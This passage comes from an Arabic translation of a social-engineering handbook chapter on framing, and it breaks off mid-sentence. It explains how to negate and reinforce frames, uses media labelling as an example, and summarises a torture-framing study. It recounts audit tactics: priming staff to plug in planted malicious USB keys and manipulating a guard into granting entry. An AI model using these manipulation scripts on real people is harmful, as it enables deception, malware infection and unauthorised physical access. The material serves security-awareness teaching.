‫دون اﻟﺣﺎﺟﺔ ﻟذﻛر ﻛﻠﻣﺔ اﻟﻌﻧﻛﺑوت‪ .‬ھذه اﻟﻘﺎﻋدة اﻟﻘوﯾﺔ ﻣن اﻟﺗﺄﺛﯾر واﻟﺗﺄطﯾر ﺗﻌطﻲ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻘدرة ﻋﻠﻰ اﻟﺗﺣﻛم ﻓﻲ اﻓﻛﺎر اﻟﮭدف‬
‫ﺑﺎﺳﺗﺧدام اﻟﻛﻼم اﻟﻐﯾر ﻣﺑﺎﺷر‪.‬‬
‫ﺗوﺳﺗﻣﺎﺳﺗرز )‪ ،(Toastmasters‬ﻣﻧظﻣﺔ دوﻟﯾﺔ ﺗرﻛز ﻋﻠﻰ ﻗدرات اﻟﻧﺎس ﻓﻲ اﻟﺗﺣدث وﺗﻌﻠم أﻋﺿﺎﺋﮭﺎ ﺑﻧﻘل اﻟﻧﺎس ﻋن طرﯾﻖ ﺧطﺎﺑﮭم وذﻟك‬
‫ﻋن طرﯾﻖ اﻟﺣﺻول ﻋﻠﻰ ﻋواطف ﺟﻣﮭورھم‪ .‬ﺗﻘدﯾم ﻗﺻﺔ واﻟﺗﻲ ﺗﺳﺑب أن اﻟﮭدف ﯾﻘوم ﺑﺗﺻوﯾر اﻹطﺎر اﻟذي ﺗرﯾده ﻓﻲ ﺣﯾن إﺷراﻛﮭم ﻋﺎطﻔﯾﺎ‬
‫ﯾﻣﻛن ﺗرﺳﯾﺦ ﻣﻛﺎﻧﺗﻛم ﻓﻲ ﻗﯾﺎدة ﺗﻠك اﻟﻣﺣﺎدﺛﺔ‪.‬‬
‫ﻣرة أﺧرى‪ ،‬ﺑﺎﺳﺗﺧدام ھذا اﻷﺳﻠوب ﻣن اﻟﺗﺄطﯾر ﺳﯾﺄﺧذ ﺑﻌض اﻟﺗﺧطﯾط‪ .‬وھﻧﺎك ﺟﺎﻧب ﻗوي ﻟﮭذه اﻟﻘﺎﻋدة ﻣن اﻹطﺎر ھو أﻧﮫ ﻓﻲ ﺣﯾن أن دﻣﺎغ‬
‫اﻟﮭدف ﯾﻘوم ﺑﻣﻌﺎﻟﺟﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗم ﺗﻐذﯾﺗﮭﺎ ﻟﮫ وﻣن ﺛم ﺗوﻟﯾد اﻟﺻور اﻟﻌﻘﻠﯾﺔ اﻟﺗﻲ رﺳﻣﺗﮭﺎ ﻟﮫ‪ ،‬ﻓﮭﻧﺎك اﻟوﻗت اﻟذي ﻓﯾﮫ ﯾﻣﻛﻧك زرع اﻟﺗﻔﻛﯾر أو‬
‫اﻷﻓﻛﺎر‪ .‬ﺧﻼﻓﺎ ﻟرﺳم ﺻورة ﻣﺑﺎﺷرة ﻟطﺑﻖ اﻟﻣﻌﻛروﻧﺔ ﺟﻣﯾل‪ ،‬ھذه اﻟﻘﺎﻋدة ﺗﺳﻣﺢ ﻟﻠﮭدف ﺑﺎﻟﺣرﯾﺔ ﻓﻲ ﺗﺻوﯾر ﺷﻲء آﺧر‪.‬‬
‫ﯾﻣﻛﻧﻧﻲ أن أﻧﮭﻲ ﻗﺻﺔ ﺣول اﻟﻣﻌﻛروﻧﺔ ﻋﻠﻰ اﻟﻌﺷﺎء ﻓﻲ وﻗت ﺳﺎﺑﻖ ﻣﻊ "زوﺟﺗﻲ ﻗدﻣت ﻟﻲ طﺑﻖ ﻣن اﻟﻣﻌﻛروﻧﺔ اﻟﻣطﺑوﺧﺔ ﺗﻣﺎﻣﺎ‪ .‬أي ﻧوع ﻣن‬
‫اﻟﻣﻌﻛروﻧﺔ؟ أﻧﺎ ﻟم أﻗل ﻟك‪ ،‬وﻟﻛن ﻟدﯾك ﺗﺻوﯾر ذﻟك‪" ،‬ﻋﻧدﻣﺎ ﯾﺑدأ ﻋﻘﻠك ﺗﺻوﯾر ذﻟك ﻋﻧدﻣﺎ ﻗﻠت‪ ":‬ﻋﻧدﻣﺎ ﻗﻣت ﺑﺑرﻣﮭﺎ ﺑﺎﻟﺷوﻛﺔ‪ ،‬ﻛﺎﻧت اﻟﺻﻠﺻﺔ‬
‫ﺳﻣﯾﻛﺔ ﺟدا وﻣﺛﺎﻟﯾﺔ ﻟذﻟك ﺗﺷﺑث ﻛل اﻟﻣﻌﻛروﻧﺔ"‪ .‬ھذا اﻟوﺻف ﯾرﺳم اﻟﺻورة اﻟذھﻧﯾﺔ ﻋن اﻟﺳﺑﺎﺟﯾﺗﻲ‪.‬‬
‫‪ ‬اﻟﻘﺎﻋﺪة اﻟﺜﺎﻟﺜﺔ‪ :‬إﻧﻜﺎر اﻹطﺎر )‪(Negating the Frame‬‬
‫إذا ﻗﻠت ﻟك إﻧﮭﺎ ﻟﯾﺳت ﺻورة ﻟﻌﻧﻛﺑوت ﻓﻲ اﻟﺷﺑﻛﺔ‪ ،‬ﻓﺎن ﻋﻘﻠك ﯾﺿﻊ ﺻورة اﻟﻌﻧﻛﺑوت أوﻻ ﻟﯾﻘول ﻟﻧﻔﺳك ﻋدم ﺗﺻوﯾر ذﻟك‪.‬‬
‫ﺗﻘﻧﯾﺔ ﻧﻔﻲ اﻹطﺎر ھذه ﻗوﯾﺔ‪ .‬إﺧﺑﺎر اﻟﮭدف أن ﯾﻛون ﺣذرا ً‪ ،‬ﻣﺣﺗرس‪ ،‬أو أن ﯾﻛون ﺣذرا ﻋن ﺷﻲء ﺗﻠﻘﺎﺋﯾﺎ ﯾﺿﻌﮫ ﻓﻲ اﻹطﺎر اﻟذي ﺗرﻏب ﻓﯾﮫ‪.‬‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ھذه اﻟﺗﻘﻧﯾﺔ ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺣﺗرﻓﯾن‪ .‬ﻓﻲ إﺣدى اﻟﻣﻘﺎﺑﻼت ﻣﻊ ﻟﺟﻧﺔ ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‪ ،‬اﺗﻔﻖ اﻟﺟﻣﯾﻊ أن‬
‫ھذا اﻷﺳﻠوب ﯾﻌﻣل ﺑدرﺟﮫ ﻛﺑﯾرة‪.‬‬
‫أﺛﻧﺎء إﺣدى اﻟﺗدﻗﯾﻘﺎت‪ ،‬أﺳﻘطت ﻋدد ﻗﻠﯾل ﻣن ﻣﻔﺎﺗﯾﺢ ‪ USB‬اﻟﺗﻲ ﻛﺎﻧت ﻣﺣﻣﻠﺔ ﺑﺎﻟﺷﯾﻔرات اﻟﺧﺑﯾﺛﺔ اﻟﺗﻲ أردت ﺷﺧص ﻓﻲ اﻟﺷرﻛﺔ ﺗﺷﻐﯾﻠﮭﺎ ﺑدون‬
‫ﺗﻔﻛﯾر‪ .‬اﻗﺗرﺑت ﻣن أﺣد اﻟﻣوظﻔﯾن اﻟذي ﻛﻧت ﻗد اﻛﺗﺳﺑت ﺛﻘﺔ وﻗﻠت‪" :‬ﺟون‪ ،‬ﻟﻘد ﺳﻣﻌت ﺑﺻدور ﻣذﻛرة إﻟﻰ ﺿرورة اﻟﺑﺣث ﻋن ﺑﺿﻌﺔ ﻣﻔﺎﺗﯾﺢ‬
‫‪ USB‬اﻟﺗﻲ ﺗم ﻓﻘداﻧﮭﺎ‪ .‬إﻧﮭم ﯾﺑﺣﺛون ﻋﻧﮭﺎ اﻵن "‪.‬‬
‫ﻣﺟرد أن ذﻟك ﯾﺣدث ﻛﻧت ھﻧﺎك ﻛﻌﺎﻣل اﻟﻧظﺎﻓﺔ وﻛﻧت أﺳﻘطت ﻣﻔﺗﺎح ‪ USB‬ﻣﺣﻣل ﺑﺎﻟﻣﻠﻔﺎت اﻟﺧﺑﯾﺛﺔ‪ ،‬واﻵن ﻧﻘول ﻟﻠﻧﺎس أن ﯾﺑﺣﺛوا ﻋﻧﮭﺎ‪ ،‬أﻧت‬
‫ﻓﻲ اﻟﺟوھر ﻗﻣت ﺑزرع اﻟﺑذور ﻟﮭم ﻟﻠﻘﯾﺎم ﺑﺗﻌﻠﯾﻣﺎﺗك‪ .‬ھذا اﻟﻧوع ﻣن اﻟﻌﺑﺎرة ﯾﻧﻔﻲ اﻟﻘﻠﻖ اﻟذي ﯾﺷﻌرون ﺑﮫ ﻋﻧد اﻟﻌﺛور ﻋﻠﻰ ﻣﻔﺗﺎح ‪rogue USB‬‬
‫وﺗﺳﺑب ﻟﮭم ﺗوﺻﯾﻠﮫ ﻟﻣﻌرﻓﺔ ﻣﺎ ھو‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪933‬‬

‫اﻟﻘﺎﻋﺪة اﻟﺮاﺑﻌﺔ‪ :‬اﻟﺘﺴﺒﺐ ﻟﻠﮭﺪف ﻓﻲ اﻟﺘﻔﻜﯿﺮ ﻓﻲ إطﺎر واﻟﺘﻲ ﯾﻌﺰز ھﺬا اﻹطﺎر‬ ‫‪‬‬
‫)‪(Causing the Target to Think About the Frame Reinforces That Frame‬‬
‫ﻓﻲ ﻛل ﻣرة اﻟدﻣﺎغ ﯾرﻛز أو ﯾﻔﻛر ﻓﻲ ﺷﻲء ﻣﺎ ﯾﻛون ﻣدﻋوم او ﻣﻌزز‪ .‬ﻛﻠﻣﺎ ﻛﺛر ﺟﻌﻠك ﻟﻠﮭدف ﯾﻔﻛر أو ﯾﺻور اﻹطﺎر اﻟذي ﺗرﯾده ﻟﮫ‪ ،‬ﺳﯾﻛون‬
‫ﻣن اﻷﺳﮭل ﺗﻌزﯾز وﻧﻘﻠﮫ إﻟﻰ ھذا اﻹطﺎر‪.‬‬
‫ﻓﻠﻠﻧظر إﻟﻰ اﻟوراء ﻓﻲ اﻟﺟزء اﻟذي ﺗﺣدث ﻋﻠﻰ ﻧﻣﺎذج اﻻﺗﺻﺎل )‪ (communication modeling‬وﺗﺣﻠﯾل ﻛﯾﻔﯾﺔ ﺗطور رﺳﺎﺋل اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ واﻟﺗﻲ أﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾرات ﻣدھﺷﺔ ﻋﻠﻰ أھداﻓك‪.‬‬
‫ذات ﻣره ﻛﻧت ﻣﺳﺎﻓرا اﻟﻰ اﻟﮭﻧد‪ .‬ﻻ أﺗذﻛر اﻟﺣﺎدث ﺑﺎﻟﺿﺑط ﻓﻲ اﻷﺧﺑﺎر‪ ،‬وﻟﻛن ﻛل ﻣﺎ أﻋرﻓﮫ ھو أن اﻟرﺋﯾس ﺟورج ﺑوش ﻛﺎن ﻗد ﺧﺳر اﻟﺗﺄﯾﯾد‬
‫ﻣن اﻟﻧﺎس ﻓﻲ أوروﺑﺎ‪ .‬ﻗﻣت ﺑﺎﻟﺗﻘﻠﯾب ﻣن ﺧﻼل ﻣﺣطﺎت اﻷﺧﺑﺎر ورأﯾت ﻛﯾف أن اﻟﻧﺎس ﻓﻲ ﺑﻌض اﻟدول اﻷوروﺑﯾﺔ ﻗﺎﻣوا ﺑﺷﻧﻖ دﻣﻰ ﺗﺷﺑﮫ‬
‫ﺟورج ﺑوش ﻓﻲ اﻟﺷوارع‪ .‬ﺑﻌد اﻟﺗﻔﺎف اﻷﻋﻼم اﻷﻣرﯾﻛﻲ ﺣول اﻟدﻣﻰ ﻛﺎﻧت اﻹﺿﺎءة ﻓﯾﮭﺎ اﻟﻧﺎر‪.‬‬
‫ﻛﺎن ﻣﺷﮭدا ﻣروﻋﺎ وﺑﯾﻧﻣﺎ ﻛﻧت ﻋﻠﻰ اﻟﮭﺎﺗف ﻣﻊ زوﺟﺗﻲ ﻓﻲ ذﻟك اﻟﻣﺳﺎء ﻗﻠت‪" ،‬واو ﻋﻧﺎوﯾن اﻻﺧﺑﺎر ﻋﻠﻰ ﻣﺎ ﯾﺣدث ﻓﻲ أوروﺑﺎ ھو ﻣﺟﻧون‪،‬‬
‫ھﺎه؟"‬
‫ﻗﺎﻟت إﻧﮭﺎ ﻟم ﺗﺳﻣﻊ أي ﺷﻲء ﺣﯾﺎل ذﻟك‪ .‬ﻟﻣﺎذا؟ وﺳﺎﺋل اﻹﻋﻼم وﻣﺣطﺎت اﻷﺧﺑﺎر ھﻲ اﻻﺳﺗﺎذ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻟﺗﺄطﯾر واﻟﺗﻼﻋب‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﯾﺗﻌﻠم اﻟﻛﺛﯾر ﻣن اﻟﻧظر إﻟﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام وﺳﺎﺋل اﻹﻋﻼم ﻟﮭذه اﻟﻣﮭﺎرة‪ .‬ﺑﺎﺳﺗﺧدام اﻟﺣذف أو ﺗﺎرﻛﺔ ﺗﻔﺎﺻﯾل ﻗﺻﺔ‬
‫أو اﻟﻘﺻﺔ ﻧﻔﺳﮭﺎ ﻛﻠﮭﺎ‪ ،‬ﯾﻣﻛن ﻟوﺳﺎﺋل اﻹﻋﻼم أن ﯾؤدي اﻟﻧﺎس إﻟﻰ اﺳﺗﻧﺗﺎج أﻧﮭﺎ ﺗﺑدو ﺧﺎﺻﺔ ﺑﮭم‪ ،‬وﻟﻛن ﻓﻲ اﻟﺣﻘﯾﻘﺔ ھﻲ وﺳﺎﺋل اﻹﻋﻼم‪.‬‬
‫ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺗﻔﻌل ذﻟك أﯾﺿﺎ‪ .‬ﺑﺣذف ﺑﻌض اﻟﺗﻔﺎﺻﯾل وﻓﻘط "ﺗﺳرﯾب" اﻟﺗﻔﺎﺻﯾل اﻟﺗﻲ ﯾرﯾدوﻧﮭﺎ ﺗﺳرﺑت‪ ،‬ﻓﺈﻧﮭﺎ ﯾﻣﻛن أن ﺗﺧﻠﻖ‬
‫اﻹطﺎر اﻟذي ﯾرﯾدون اﻟﮭدف أن ﯾﻔﻛر أو ﯾﺷﻌر‪.‬‬
‫اﻟﻌﻧﺎوﯾن )‪ (Labeling‬ھو ﺗﻛﺗﯾك أﺧرى ﺗﺳﺗﺧدﻣﮫ وﺳﺎﺋل اﻹﻋﻼم‪ .‬ﻋﻧدﻣﺎ ﯾرﯾدون ﺗﺄطﯾر ﺷﻲء إﯾﺟﺎﺑﻲ ﻗد ﯾﻘوﻟون أﺷﯾﺎء ﻣﺛل‪" ،‬اﻟدﻓﺎع اﻟﻘوي‬
‫‪ "...‬أو "اﻗﺗﺻﺎد ﺳﻠﯾم ﻟدﯾﻧﺎ‪ ".‬ھذه اﻟﻌﺑﺎرات ﺗرﺳم اﻟﺻور اﻟذھﻧﯾﺔ ﻣن اﻻﺳﺗﻘرار واﻟﺻﺣﯾﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻓﻲ اﺳﺗﺧﻼص اﻟﻧﺗﺎﺋﺞ‬
‫اﻹﯾﺟﺎﺑﯾﺔ‪ .‬اﻟﻘواﻋد ذاﺗﮭﺎ ﯾﻣﻛن أن ﺗﻧطﺑﻖ ﻋﻠﻰ اﻹطﺎرات اﻟﺳﻠﺑﯾﺔ أﯾﺿﺎ‪ .‬ﺗﺳﻣﯾﺎت ﻣﺛل " اﻟﻣﺳﻠﻣﯾن اﻹرھﺎﺑﯾﯾن " أو "ﻧظرﯾﺎت اﻟﻣؤاﻣرة" ﺗرﺳم‬
‫ﺻورة ﺳﻠﺑﯾﺔ ﻟﻠﻐﺎﯾﺔ‪.‬‬
‫ﯾﻣﻛﻧك اﺳﺗﺧدام ھذه اﻟﻣﮭﺎرات ﻟﺗﺳﻣﯾﺔ اﻷﺷﯾﺎء ﻣﻊ اﻟﻛﻠﻣﺎت اﻟوﺻﻔﯾﺔ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ إﺣﺿﺎر اﻟﮭدف اﻟﻰ اﻹطﺎر اﻟذي ﺗرﯾده‪ .‬ذات ﻣره ﻋﻧد‬
‫اﻻﻗﺗراب ﻣن ﻛﺷك اﻟﺣراﺳﺔ اﻟﺗﻲ أردت اﻟوﺻول إﻟﯾﮫ‪ ،‬ﻣﺷﯾت ﻣن ﺧﻼل ھذا ﻛﻣﺎ ﻟو ﻛﻧت اﻧﺗﻣﻰ ﻟﮫ‪ .‬ﺛم ﺗوﻗﻔت ﻓﺟﺄة ﻋﻠﻰ اﻟﻔور‪ .‬ﻧظرت إﻟﻰ‬
‫اﻟﺣﺎرس ﻓﻲ ﺣﺎﻟﺔ ﺻدﻣﺔ وﻣﻌﺗذرا ﺑﻌﺑﺎرة ﻣﺛل‪" :‬أوه‪ ،‬أﻣس‪ ،‬ﻛﺎن ھﻧﺎك ﺣﺎرس اﻻﻣن ﺗوم واﻟذي ﻛﺎن ﻣﺳﺎﻋدا ﻟﻠﻐﺎﯾﺔ‪ ،‬ﺣﯾث ﻓﺣص ﺟﻣﯾﻊ‬
‫ﺗﺻرﯾﺣﺎت اﻟدﺧول ﻟدى وﺳﻣﺢ ﻟﻲ ﺑﺎﻟﻣرور‪ .‬ھذا ھو اﻟﺳﺑب ﻓﻲ اﻓﺗراض أﻧﻰ ﻣﺎ زﻟت ﻋﻠﻰ ﻗﺎﺋﻣﺔ‪".‬‬
‫وﺻﻔﮫ اﻟﺣﺎرس اﻟﺳﺎﺑﻖ ﺑﺄﻧﮭﺎ "ﻣﺳﺎﻋد ﻟﻠﻐﺎﯾﺔ" ﺗﻠﻘﺎﺋﯾﺎ ﯾﺿﻊ اﻟﺣﺎرس اﻟﺣﺎﻟﻲ ﻓﻲ اﻹطﺎر اﻟذي أرﯾده‪ .‬إذا ﻛﺎن ﯾرﯾد اﻟﺣﺻول ﻋﻠﻰ ﻣﺛل ھذه اﻟﺗﺳﻣﯾﺔ‬
‫اﻟﻣرﻣوﻗﺔ‪ ،‬ﻓﺎﻧﮫ ﻣن اﻷﻓﺿل ﺑﺄن ﯾﻛون "ﻣﺳﺎﻋد ﻟﻠﻐﺎﯾﺔ" ﻛﻣﺎ ﻛﺎن ﺗوم‪.‬‬

‫اﻟﺗﺄطﯾر )‪ (framing‬ﻓﻌﺎل ﻷﻧﮫ ﯾﻧﺣﻧﻲ اﻟﺣﻘﯾﻘﺔ وﻟﻛن ﻟﯾس ﻛﺛﯾرا ﺑﺣﯾث ﺗﺻﺑﺢ ﻛﺎذﺑﺔ‪ ،‬ﻟذﻟك ﯾﺑﻘﻰ اﻟﺗﺻدﯾﻖ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﯾﺧﻠﻖ‬
‫اﻻﻧطﺑﺎع اﻟﻣطﻠوب دون اﻟﺧروج ﻛﺛﯾرا ﻋن ﻣظﮭر اﻟﻣوﺿوع‪.‬‬
‫ﻗرأت ﺑﺣث ﯾﺳﻣﻰ "اﻟوﺿﻊ اﻟراھن ﻣن اﻟﺗﺄطﯾر ﯾزﯾد ﻣن دﻋم اﻟﺗﻌذﯾب )‪"(Status Quo Framing Increases Support for Torture‬‬
‫اﻟذي ﻛﺗﺑﮫ ﻛرﯾﺳﺗﯾن ﻛراﻧدال‪ ،‬ﺳﻛوت إﯾدﯾﻠﻣﺎن‪ ،‬ﻟﯾﻧدا اﺳﻛﺗﻛﺎ‪ ،‬وﺳﻛوت ﻣورﻏﺎن‪ ،‬ﺟﻣﯾﻊ اﻟﺑﺎﺣﺛﯾن ﻣن ﻣﺧﺗﻠف اﻟﺟﺎﻣﻌﺎت‪ .‬ﻓﻲ ھذا اﻟﺑﺣث زودت‬
‫ﺑﻣﺟﻣوﻋﺔ ﺑﯾﺎﻧﺎت ﻣﺛﯾرة ﺟدا ﻟﻼھﺗﻣﺎم اﻟﺗﻲ أﺛﺎرت اھﺗﻣﺎﻣﻲ ﻓﻲ ھذا اﻟﻣوﺿوع‪ .‬ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﯾوﺟد اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﺿد اﺳﺗﺧدام‬
‫اﻟﺗﻌذﯾب ﻓﻲ زﻣن اﻟﺣرب ﻛﺗﻛﺗﯾك ﻟﻛﺳب اﻟﻣﻌﻠوﻣﺎت اﻻﺳﺗﺧﺑﺎرﯾﺔ‪ .‬وﻛﺎن اﻟﻐرض ﻣن ھذه اﻟدراﺳﺔ ھو ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﺑﺎﺣﺛون ﯾﻣﻛن‬
‫اﻟﺣﺻول ﻋﻠﻰ ﻣﺟﻣوﻋﺔ ﻓرﻋﯾﺔ ﻣن اﻟﻧﺎس اﻟﺗﻲ ﺗﺗﻔﻖ ﻋﻠﻰ أن اﻟﺗﻌذﯾب ھو ﻏﯾر ﻣﺳﺗﺣب ﻋن طرﯾﻖ ﺻﯾﺎﻏﺔ اﻟرﺳﺎﻟﺔ ﺑﺷﻛل ﻣﺧﺗﻠف‪.‬‬
‫أﺧذوا ﻣﺟﻣوﻋﺔ ﻋﯾﻧﯾﺔ ﻣن ﺣواﻟﻲ ‪ 486‬ﺷﺧﺻﺎ وطﻠب ﻣﻧﮭم ﻗراءة ﻓﻘرﺗﯾن‪.‬‬
‫ﻗراءة اﻟﻔﻘرة اﻻوﻟﻰ‪:‬‬
‫اﺳﺗﺧدام اﻟﺿﻐط ﻣن ﻗﺑل اﻟﻘوات اﻷﻣرﯾﻛﯾﺔ ﻋﻧد اﺳﺗﺟواب اﻟﻣﺷﺗﺑﮫ ﺑﮭم ﻓﻲ اﻟﺷرق اﻷوﺳط ﯾﻛون ﻓﻲ اﻷﺧﺑﺎر‪ .‬ھذا اﻟﻧوع ﻣن ﻣﻘﺎﺑﻠﺔ‬
‫اﻟﺿﻐط ﺟدﯾده؛ وﻓﻘﺎ ﻟﺑﻌض اﻟﺗﻘﺎرﯾر‪ ،‬وھذه ھﻲ اﻟﻣرة اﻻوﻟﻰ اﻟﺗﻲ اﺳﺗﺧدﻣت ﻋﻠﻰ ﻧطﺎق واﺳﻊ ﻣن ﻗﺑل اﻟﺟﯾش اﻷﻣرﯾﻛﻲ‪ .‬وﻗد اﺳﺗﺧدﻣت‬
‫اﻟﻘوات اﻷﻣرﯾﻛﯾﺔ اﻟﻌدﯾد ﻣن اﻷﺳﺎﻟﯾب اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك رﺑط اﻟﻣﻌﺗﻘﻠﯾن وﺗﻐﻣﯾس رؤوﺳﮭم ﺗﺣت اﻟﻣﺎء‪ ،‬وﺣﺷو وﺟوھﮭم ﻷول ﻣرة ﻓﻲ ﻛﯾس‬
‫اﻟﻧوم‪ ،‬وﺷﻧﻖ اﻟﻣﻌﺗﻘﻠﯾن ﺑﺎﻟﺣﺑﺎل ﻓﻲ أوﺿﺎع ﻣؤﻟﻣﺔ ﻟﻔﺗرات طوﯾﻠﺔ‪ .‬ﯾﺗم اﻻﺣﺗﻔﺎظ ﺑﺎﻟﻣﻌﺗﻘﻠﯾن أﯾﺿﺎ ﻣﺳﺗﯾﻘظﯾن ﻟﻌدة أﯾﺎم ﻓﻲ اﻟﻣرة اﻟواﺣدة‪.‬‬
‫ﺗرﺳم ھذه اﻟﻔﻘرة اﻻﻋﺗﻘﺎد أن ھذه ھﻲ اﻟﺗﻘﻧﯾﺎت اﻟﺟدﯾدة اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ اﻟﺣﻛوﻣﺔ اﻷﻣرﯾﻛﯾﺔ ﻟﻠﺣﺻول ﻋﻠﻰ ﺑﯾﺎﻧﺎت‪.‬‬
‫ﻗراءة اﻟﻔﻘرة اﻟﺛﺎﻧﯾﺔ ﻛﻣﺎ ﯾﻠﻲ‪:‬‬
‫اﺳﺗﺧدام اﻟﺿﻐط ﻣن ﻗﺑل اﻟﻘوات اﻷﻣرﯾﻛﯾﺔ ﻋﻧد اﺳﺗﺟواب اﻟﻣﺷﺗﺑﮫ ﺑﮭم ﻓﻲ اﻟﺷرق اﻷوﺳط ﯾﻛون ﻓﻲ اﻷﺧﺑﺎر‪ .‬ھذا اﻟﻧوع ﻣن ﻣﻘﺎﺑﻠﺔ‬
‫اﻟﺿﻐط ﻟﯾﺳت ﺟدﯾده؛ وﻓﻘﺎ ﻟﺑﻌض اﻟﺗﻘﺎرﯾر‪ ،‬ﻗد ﺗم اﺳﺗﺧداﻣﮭﺎ ﻷﻛﺛر ﻣن ‪ 40‬ﻋﺎﻣﺎ ﻣن ﻗﺑل اﻟﺟﯾش اﻷﻣرﯾﻛﻲ‪ .‬وﻗد اﺳﺗﺧدﻣت اﻟﻘوات اﻷﻣرﯾﻛﯾﺔ‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪934‬‬

‫اﻟﻌدﯾد ﻣن اﻷﺳﺎﻟﯾب اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك رﺑط اﻟﻣﻌﺗﻘﻠﯾن وﺗﻐﻣﯾس رؤوﺳﮭم ﺗﺣت اﻟﻣﺎء‪ ،‬وﺣﺷو وﺟوھﮭم ﻷول ﻣرة ﻓﻲ ﻛﯾس اﻟﻧوم‪ ،‬وﺷﻧﻖ‬
‫اﻟﻣﻌﺗﻘﻠﯾن ﺑﺎﻟﺣﺑﺎل ﻓﻲ أوﺿﺎع ﻣؤﻟﻣﺔ ﻟﻔﺗرات طوﯾﻠﺔ‪ .‬ﯾﺗم اﻻﺣﺗﻔﺎظ ﺑﺎﻟﻣﻌﺗﻘﻠﯾن أﯾﺿﺎ ﻣﺳﺗﯾﻘظﯾن ﻟﻌدة أﯾﺎم ﻓﻲ اﻟﻣرة اﻟواﺣدة‪.‬‬
‫ﻛﺎﻧت اﻟﻧﺳﺧﺗﯾن ﻣن اﻟوﺿﻊ اﻟراھن ﻣن اﻟﻔﻘرة ﻣﺗطﺎﺑﻘﺔ‪ ،‬إﻻ أن اﻟﺟﻣﻠﺔ اﻟﺛﺎﻧﯾﺔ ﻓﻲ اﻟﻔﻘرة اﺳﺗﻌﯾﺿت ﺒ "ھذا اﻟﻧوع ﻣن ﻣﻘﺎﺑﻠﺔ اﻟﺿﻐط ﻟﯾﺳت ﺟدﯾده؛‬
‫وﻓﻘﺎ ﻟﺑﻌض اﻟﺗﻘﺎرﯾر‪ ،‬ﻗد ﺗم اﺳﺗﺧداﻣﮭﺎ ﻷﻛﺛر ﻣن ‪ 40‬ﻋﺎﻣﺎ ﻣن ﻗﺑل اﻟﺟﯾش اﻷﻣرﯾﻛﻲ‪".‬‬
‫ﻣﺎذا ﻛﺎﻧت اﻟﻧﺗﺎﺋﺞ ﻓﻲ ﻣﺟرد ﺗﻐﯾﯾر اﻹطﺎر ﻹطﺎر واﺣد واﻟذي ﻓﯾﮫ أن ھذه اﻷﺳﺎﻟﯾب ﺟدﯾدة ﺗﻣﺎﻣﺎ أو إﻧﮭﺎ طرق ﻣﺟرﺑﮫ وﻣﺧﺗﺑره اﺳﺗﺧدﻣت‬
‫ﻟﻌﻘود؟‬
‫ﯾﺻف ﺻﺣﯾﻔﺔ اﻟﺑﺣث ﺗداﺑﯾر اﻟﺑﺎﺣﺛﯾن‪ .‬ﺳﺑﻌﺔ ﺑﻧود ﺷﻛﻠت ﻣﺟﻣوﻋﺔ أﺳﺎﺳﯾﺔ ﻣن اﻟﻣﺗﻐﯾرات اﻟﺗﺎﺑﻌﺔ‪ .‬ھذه اﻟﻌﻧﺎﺻر ﺗﻘﺎﺑل ﺳﺑﻊ ﻧﻘﺎط ﻋﻠﻰ ﻧطﺎق‬
‫"اﻟزر"‪ ،‬ﻣﻊ ﺗﺳﻣﯾﺎت اﻟﻧﻘﺎط )ﻣﺧﺗﻠﻔﺔ ﻛﺛﯾرا )‪ ،(very much disagree‬ﻣﻌﺗدل اﻻﺧﺗﻼف )‪ ،(moderately disagree‬ﻗﻠﯾل اﻻﺧﺗﻼف‬
‫)‪ ،(slightly disagree‬ﻏﯾر ﻣؤﻛد )‪ ،(uncertain‬ﻣﺗﻔﻖ ﻗﻠﯾﻼ )‪ ،(slightly agree‬ﺗواﻓﻖ ﻣﻌﺗدل )‪ ،(moderately agree‬وأﺗﻔﻖ ﻛﺛﯾرا‬
‫)‪ .(very much agree‬ﺗﺳﺟﯾل ﻛل اﻟﺑﻧود ﺑﺎﻟﻌﻛس ﺑﺣﯾث ﺗﻌﻛس أﻋﻠﻰ اﻟدرﺟﺎت أﻛﺑر اﺗﻔﺎق ﻣﻊ ﻛل ﻋﻧﺻر‪.‬‬
‫اﻻﺳﺗﻧﺗﺎج؟ "ﺣﺎﻟﺔ اﻟﺗﻼﻋب ﺑﺎﻟوﺿﻊ اﻟراھن ﻟﮫ ﺗﺄﺛﯾر ﻋﻠﻰ ﺗﻘﯾﯾم ﺷﺎﻣل ﻟﻠﺗﻌذﯾب ﻋﻧدﻣﺎ ﯾﺗم وﺻﻔﮫ ﺑﺄﻧﮫ ﯾﺳﺗﺧدم ﻟﻌﻘود طوﯾﻠﮫ ﺑدﻻ ﻣن اﺳﺗﺧدﻣﮫ‬
